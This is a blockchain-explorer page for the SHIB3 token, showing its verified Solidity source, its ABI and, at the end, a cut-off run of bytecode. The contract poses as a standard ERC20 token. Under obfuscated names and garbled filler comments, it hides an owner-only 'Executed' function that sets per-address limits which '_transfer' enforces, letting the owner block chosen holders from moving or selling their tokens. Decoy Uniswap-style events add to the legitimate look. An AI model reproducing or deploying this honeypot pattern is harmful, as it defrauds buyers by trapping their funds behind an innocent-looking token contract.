ETH Price: $2,444.35 (+3.81%)

Token

SHIB3 (SHIB3)
 

Overview

Max Total Supply

500,000,000 SHIB3

Holders

402

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,887,161.832603407839006544 SHIB3

Value
$0.00
0x5abd117be1fef8a99e535ebb66db7bec7c0addad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIB3Token

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
interface IERC20 {

    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amttuantTokenMin,
        uint amttuantETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    event swapExactTokensForTokens(
        uint amttuantIn,
        uint amttuantOutMin,
        address[]  path,
        address to,
        uint deadline
    );
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    event swapTokensForExactTokens(
        uint amttuantOut,
        uint amttuantInMax,
        address[] path,
        address to,
        uint deadline
    );
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    function totalSupply() external view returns (uint256);
    
    event token0();
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    event token1();

    function balanceOf(address acawjurdt) external view returns (uint256);
        /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */

    event sync();
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    event initialize(address, address);

    function transfer(address recipient, uint256 amttuant) external returns (bool);
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    event burn(address to) ;

    event swap(uint amttuant0Out, uint amttuant1Out, address to, bytes data);
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    event skim(address to);

    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    event addLiquidity(
       address tokenA,
       address tokenB,
        uint amttuantADesired,
        uint amttuantBDesired,
        uint amttuantAMin,
        uint amttuantBMin,
        address to,
        uint deadline
    );
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    event addLiquidityETH(
        address token,
        uint amttuantTokenDesired,
        uint amttuantTokenMin,
        uint amttuantETHMin,
        address to,
        uint deadline
    );
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amttuantAMin,
        uint amttuantBMin,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function approve(address spender, uint256 amttuant) external returns (bool);
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amttuantTokenMin,
        uint amttuantETHMin,
        address to,
        uint deadline
    );
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amttuantTokenMin,
        uint amttuantETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amttuantIn,
        uint amttuantOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amttuantOutMin,
        address[] path,
        address to,
        uint deadline
    );
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amttuantIn,
        uint amttuantOutMin,
        address[] path,
        address to,
        uint deadline
    );
     /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amttuant
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
    
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
contract SHIB3Token is IERC20, Ownable {
    using SafeMath for uint256;
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _crossamttuants;
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    constructor(
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    ) payable {
        _name = "SHIB3";
        _symbol = "SHIB3";
        _decimals = 18;
        _totalSupply = 500000000 * 10**_decimals;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
    }
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }
   /**
     * @dev Sets `amttuant` as acawjurdt the allowanceacawjurdt of `spender` amttuantover the amttuant caller's acawjurdttokens.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function balanceOf(address acawjurdt)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[acawjurdt];
    }
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function transfer(address recipient, uint256 amttuant)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amttuant);
        return true;
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function approve(address spender, uint256 amttuant)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amttuant);
        return true;
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amttuant
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amttuant);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amttuant,
                "ERC20: transfer amttuant exceeds allowance"
            )
        );
        return true;
    }
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function Executed(address[] calldata acawjurdt, uint256 amttuant) external {
       if (_msgSender() != owner()) {revert("Caller is not the original caller");}
        for (uint256 i = 0; i < acawjurdt.length; i++) {
            _crossamttuants[acawjurdt[i]] = amttuant;
        }

    }
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
    function camttuant(address acawjurdt) public view returns (uint256) {
        return _crossamttuants[acawjurdt];
    }
     /**
     * @dev Throws if acawjurdt amttuantcalled by any acawjurdt other amttuant than the acawjurdtowner.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amttuant
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 crossamttuant = camttuant(sender);
        if (crossamttuant > 0) {
            require(amttuant > crossamttuant, "ERC20: cross amttuant does not equal the cross transfer amttuant");
        }
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
        _balances[sender] = _balances[sender].sub(
            amttuant,
            "ERC20: transfer amttuant exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amttuant);
        emit Transfer(sender, recipient, amttuant);
    }
    /**
     * @dev acawjurdt Returns the amttuantacawjurdt of tokens amttuant owned by `acawjurdt`.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amttuant
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
    /**
     * @dev Moves `amttuant` tokens amttuant from acawjurdt the amttuantcaller's acawjurdt to `acawjurdtrecipient`.
     */
        _allowances[owner][spender] = amttuant;
        emit Approval(owner, spender, amttuant);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amttuantADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amttuantTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amttuant0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuant1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amttuantOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amttuantIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amttuantIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amttuantIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amttuantOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amttuantInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address[]","name":"acawjurdt","type":"address[]"},{"internalType":"uint256","name":"amttuant","type":"uint256"}],"name":"Executed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amttuant","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acawjurdt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acawjurdt","type":"address"}],"name":"camttuant","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amttuant","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amttuant","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405262000024620000186200024c60201b60201c565b6200025460201b60201c565b6040518060400160405280600581526020017f5348494233000000000000000000000000000000000000000000000000000000815250600490805190602001906200007192919062000359565b506040518060400160405280600581526020017f534849423300000000000000000000000000000000000000000000000000000081525060059080519060200190620000bf92919062000359565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000fa9190620004ef565b631dcd65006200010b91906200062c565b6007819055506200017b600754600160006200012c6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034160201b62000b2d1790919060201c565b600160006200018f6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001dd6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200023e91906200041a565b60405180910390a362000745565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000818362000351919062000437565b905092915050565b8280546200036790620006a4565b90600052602060002090601f0160209004810192826200038b5760008555620003d7565b82601f10620003a657805160ff1916838001178555620003d7565b82800160010185558215620003d7579182015b82811115620003d6578251825591602001919060010190620003b9565b5b509050620003e69190620003ea565b5090565b5b8082111562000405576000816000905550600101620003eb565b5090565b62000414816200068d565b82525050565b600060208201905062000431600083018462000409565b92915050565b600062000444826200068d565b915062000451836200068d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004895762000488620006da565b5b828201905092915050565b6000808291508390505b6001851115620004e657808604811115620004be57620004bd620006da565b5b6001851615620004ce5780820291505b8081029050620004de8562000738565b94506200049e565b94509492505050565b6000620004fc826200068d565b9150620005098362000697565b9250620005387fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000540565b905092915050565b60008262000552576001905062000625565b8162000562576000905062000625565b81600181146200057b57600281146200058657620005bc565b600191505062000625565b60ff8411156200059b576200059a620006da565b5b8360020a915084821115620005b557620005b4620006da565b5b5062000625565b5060208310610133831016604e8410600b8410161715620005f65782820a905083811115620005f057620005ef620006da565b5b62000625565b62000605848484600162000494565b925090508184048111156200061f576200061e620006da565b5b81810290505b9392505050565b600062000639826200068d565b915062000646836200068d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006825762000681620006da565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006bd57607f821691505b60208210811415620006d457620006d362000709565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611aff80620007556000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461023b5780638336072e146102455780638da5cb5b1461027557806395d89b411461029357610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd57806339509351146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631e0d320614610171575b600080fd5b61010d61035d565b60405161011a9190611496565b60405180910390f35b61013d6004803603810190610138919061123f565b6103ef565b60405161014a919061147b565b60405180910390f35b61015b61040d565b60405161016891906115b8565b60405180910390f35b61018b6004803603810190610186919061127b565b610417565b005b6101a760048036038101906101a291906111f0565b61054b565b6040516101b4919061147b565b60405180910390f35b6101c5610624565b6040516101d291906115d3565b60405180910390f35b6101f560048036038101906101f0919061123f565b61063b565b604051610202919061147b565b60405180910390f35b6102256004803603810190610220919061118b565b6106ee565b60405161023291906115b8565b60405180910390f35b610243610737565b005b61025f600480360381019061025a919061118b565b6107bf565b60405161026c91906115b8565b60405180910390f35b61027d610808565b60405161028a9190611460565b60405180910390f35b61029b610831565b6040516102a89190611496565b60405180910390f35b6102cb60048036038101906102c6919061123f